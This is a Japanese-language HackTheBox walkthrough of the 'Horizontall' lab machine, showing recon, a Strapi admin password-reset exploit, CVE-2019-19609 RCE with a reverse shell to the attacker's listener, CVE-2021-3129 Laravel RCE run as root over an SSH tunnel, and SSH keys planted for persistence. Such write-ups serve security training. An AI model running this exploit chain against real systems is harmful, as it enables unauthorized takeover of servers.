🔥
HackTheBox Horizontall
Horizontall
侵入
nmap
┌──(kali㉿kali)-[~/Desktop/Horizontall]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.11.105 -oN nmap.log
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|_ 256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open http syn-ack ttl 63 nginx 1.14.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
22、80番を確認
web
vhost
┌──(kali㉿kali)-[~/Desktop/Horizontall]
└─$ gobuster vhost -u http://horizontall.htb/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 150 2>/dev/null -o gobuster_vhost.log
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://horizontall.htb/
[+] Method: GET
[+] Threads: 150
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/09/29 22:09:23 Starting gobuster in VHOST enumeration mode
===============================================================
Found: api-prod.horizontall.htb (Status: 200) [Size: 413]
===============================================================
2022/09/29 22:12:34 Finished
===============================================================
新たなサブドメイン api-prod.horizontall.htb を発見
api-prod.horizontall.htb
Welcome という文字だけが表示された
dir
新たなサブドメインに対して、ディレクトリ探索を行う
┌──(kali㉿kali)-[~/Desktop/Horizontall]
└─$ gobuster dir -u http://api-prod.horizontall.htb/ -w /usr/share/wordlists/dirb/common.txt -o gobuster_dir_prod.log
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://api-prod.horizontall.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/09/29 22:12:56 Starting gobuster in directory enumeration mode
===============================================================
/admin (Status: 200) [Size: 854]
/Admin (Status: 200) [Size: 854]
/ADMIN (Status: 200) [Size: 854]
/favicon.ico (Status: 200) [Size: 1150]
/index.html (Status: 200) [Size: 413]
/reviews (Status: 200) [Size: 507]
/robots.txt (Status: 200) [Size: 121]
/users (Status: 403) [Size: 60]
===============================================================
2022/09/29 22:17:16 Finished
===============================================================
複数のディレクトリを発見
admin
ログイン画面が表示された
通信を確認してみると、/admin/init へのリクエストも飛んでいた
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Thu, 29 Sep 2022 13:20:20 GMT
Vary: Origin
Content-Security-Policy: img-src 'self' http:; block-all-mixed-content
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Powered-By: Strapi <strapi.io>
{
"data":{
"uuid":"a55da3bd-9693-4a08-9279f9df57fd1817",
"currentEnvironment":"development",
"autoReload":false,
"strapiVersion":"3.0.0-beta.17.4"
}
}
内容をみると、strapi のバージョン情報を発見
脆弱性を調べると、Exploit DB にコードを発見したので、実行する
┌──(kali㉿kali)-[~/Desktop/Horizontall]
└─$ python3 50239.py http://api-prod.horizontall.htb
[+] Checking Strapi CMS Version running
[+] Seems like the exploit will work!!!
[+] Executing exploit
[+] Password reset was successfully
[+] Your email is: admin@horizontall.htb
[+] Your new credentials are: admin:SuperStrongPassword1
[+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjY0NDU4NjgxLCJleHAiOjE2NjcwNTA2ODF9.ocIcsjf32a7JI4559q8wWlJdHQs5slkHVjpqXONF-m8
Exploit DB -> https://www.exploit-db.com/exploits/50239
成功していそうなので、新しい認証情報を使用し、ログインできるか試す
ログインできた
ログインしてすぐに、Users が気になったが、情報は何も得られない
探索再開後、Upload 画面も確認したが、悪用はできなかった。
strapi としてのシェル
CVE-2019-19609
パスワードとともに、JWT を取得できたため、これを利用して exploit を実行する
GitHub -> https://github.com/diego-tella/CVE-2019-19609-EXPLOIT
┌──(kali㉿kali)-[~/Desktop/Horizontall/CVE-2019-19609-EXPLOIT]
└─$ python exploit.py -d api-prod.horizontall.htb -jwt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjY0NDU4NjgxLCJleHAiOjE2NjcwNTA2ODF9.ocIcsjf32a7JI4559q8wWlJdHQs5slkHVjpqXONF-m8 -l 10.10.14.12 -p 5555
[+] Exploit for Remote Code Execution for strapi-3.0.0-beta.17.7 and earlier (CVE-2019-19609)
[+] Remember to start listening to the port 5555 to get a reverse shell
[+] Sending payload... Check if you got shell
┌──(kali㉿kali)-[~/Desktop/Horizontall]
└─$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.105] 43096
/bin/sh: 0: can't access tty; job control turned off
$ whoami
strapi
侵入成功
user フラグ
strapi@horizontall:/home/developer$ cat user.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
所有は developer ユーザだが、読み込み権限があるため、フラグの取得に成功
権限昇格
netstat
strapi@horizontall:~$ netstat -tulpn | grep LISTEN
netstat -tulpn | grep LISTEN
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:1337 0.0.0.0:* LISTEN 1824/node /usr/bin/
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
8000 番が動いていることがわかる
127.0.0.1 であるため、curl コマンドを使ってアクセスしてみる
curl http://127.0.0.1:8000/
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Laravel</title>
<head>
<a href="https://github.com/sponsors/taylorotwell" class="ml-1 underline">
Sponsor
</a>
</div>
</div>
<div class="ml-4 text-center text-sm text-gray-500 sm:text-right sm:ml-0">
Laravel v8 (PHP v7.4.18)
</div>
</html>
Laravel と PHP のバージョンを確認
GitHub で exploit コードを検索したところ使用できそうなコードを発見
SSH
攻撃コードは localhost にしか実行できないらしいので、SSHポートフォワーディングを行う
strapi@horizontall:~$ mkdir ./.ssh
mkdir ./.ssh
strapi@horizontall:~$ cd .ssh
cd .ssh
strapi@horizontall:~/.ssh$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDmqzbEd10rlD7KND6fxxxJF+MPNcuokcTtG/FOo1UyAG2bIvZq37CM3LGmpb74qbHvoJbp2NG9xIDHK2cYSnaTeu8burZXlin3hcRoGh38PP9jXZTUKp9O3Piw9jJbWWaSe59IYlinL7cVHATUi2g8i/AhQrdNMHN1InsX0Ak3aROUXWqBy5pQyd+oLQH1i4eM0nYK1PmFgStVzdXCxySaPAw0l5lgSxeqj/cOdA74RUmyrcvkNFXGCNV8M38XQWLg+sjZd8zaUSM8jU4gleFxe7RInl06wk+bhj6QjU3+gGS+Bh7ROEQ2nFw5XO5AWLXwALwbC+FSvzWkNmOzS0yGUelFuKrSb51YJSMMwZ0XCWhJXUqiVVfWiaqL0PuDAOG5k/mbtC2NIPoOGE2r5+sz0RI3M0S5u4Qtg0J8dyhr6XjWPHK3LC4yWn2bDodDEFY8rj2QfwQ50QHG10G2NDW+vjojdmpZAFqTGN+rqKc0XJyAJxhbL/Ya2OR1oeelf1E= kali@kali" > authorized_keys
<yAJxhbL/Ya2OR1oeelf1E= kali@kali" > authorized_keys
サーバに、公開鍵を作成
┌──(kali㉿kali)-[~/Desktop/Horizontall]
└─$ ssh -i /home/kali/.ssh/id_rsa -L 8000:127.0.0.1:8000 strapi@horizontall.htb
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-154-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu Sep 29 14:49:08 UTC 2022
System load: 0.0 Processes: 179
Usage of /: 82.3% of 4.85GB Users logged in: 0
Memory usage: 44% IP address for eth0: 10.10.11.105
Swap usage: 0%
0 updates can be applied immediately.
Last login: Fri Jun 4 11:29:42 2021 from 192.168.1.15
$ whoami
strapi
SSH 接続成功
127.0.0.1:8000 で kali 側からアクセスすることができた
root としてのシェル
exploit
攻撃の準備は整ったので、コードを実行する
GitHub -> https://github.com/nth347/CVE-2021-3129_exploit
┌──(kali㉿kali)-[~/Desktop/Horizontall/CVE-2021-3129_exploit]
└─$ ./exploit.py http://localhost:8000 Monolog/RCE1 "whoami"
[i] Trying to clear logs
[+] Logs cleared
[+] PHPGGC found. Generating payload and deploy it to the target
[+] Successfully converted logs to PHAR
[+] PHAR deserialized. Exploited
root
[i] Trying to clear logs
[+] Logs cleared
コマンドが実行され、root 権限であることがわかる
今回は、SSH で接続する
┌──(kali㉿kali)-[~/Desktop/Horizontall/CVE-2021-3129_exploit]
└─$ ./exploit.py http://localhost:8000 Monolog/RCE1 "mkdir -p /root/.ssh" 1 ⨯
[i] Trying to clear logs
[+] Logs cleared
[+] PHPGGC found. Generating payload and deploy it to the target
[+] Successfully converted logs to PHAR
[i] There is no output
[i] Trying to clear logs
[+] Logs cleared
先程と同様に、ディレクトリを作る
┌──(kali㉿kali)-[~/Desktop/Horizontall/CVE-2021-3129_exploit]
└─$ ./exploit.py http://localhost:8000 Monolog/RCE1 'echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDmqzbEd10rlD7KND6fxxxJF+MPNcuokcTtG/FOo1UyAG2bIvZq37CM3LGmpb74qbHvoJbp2NG9xIDHK2cYSnaTeu8burZXlin3hcRoGh38PP9jXZTUKp9O3Piw9jJbWWaSe59IYlinL7cVHATUi2g8i/AhQrdNMHN1InsX0Ak3aROUXWqBy5pQyd+oLQH1i4eM0nYK1PmFgStVzdXCxySaPAw0l5lgSxeqj/cOdA74RUmyrcvkNFXGCNV8M38XQWLg+sjZd8zaUSM8jU4gleFxe7RInl06wk+bhj6QjU3+gGS+Bh7ROEQ2nFw5XO5AWLXwALwbC+FSvzWkNmOzS0yGUelFuKrSb51YJSMMwZ0XCWhJXUqiVVfWiaqL0PuDAOG5k/mbtC2NIPoOGE2r5+sz0RI3M0S5u4Qtg0J8dyhr6XjWPHK3LC4yWn2bDodDEFY8rj2QfwQ50QHG10G2NDW+vjojdmpZAFqTGN+rqKc0XJyAJxhbL/Ya2OR1oeelf1E= kali@kali" > /root/.ssh/authorized_keys'
[i] Trying to clear logs
[+] Logs cleared
[+] PHPGGC found. Generating payload and deploy it to the target
[+] Successfully converted logs to PHAR
[i] There is no output
[i] Trying to clear logs
[+] Logs cleared
その後、公開鍵を authorized_keys として作成
┌──(kali㉿kali)-[~/Desktop/Horizontall]
└─$ ssh -i /home/kali/.ssh/id_rsa root@10.10.11.105 130 ⨯
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-154-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu Sep 29 15:08:45 UTC 2022
System load: 0.03 Processes: 183
Usage of /: 82.3% of 4.85GB Users logged in: 1
Memory usage: 44% IP address for eth0: 10.10.11.105
Swap usage: 0%
0 updates can be applied immediately.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon Aug 23 11:27:49 2021 from 10.10.14.6
root@horizontall:~# whoami
root
権限昇格成功
root フラグ
root@horizontall:~# cat root.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
フラグ取得
所感
今回のボックスは、楽しいボックスだった。strapi のバージョンを早く確認できたおかげで、スムーズに攻略することができた。最後の権限昇格のやり方に関しては、他にも多くの手法があるようなので、いろいろと試していきたい。
Discussion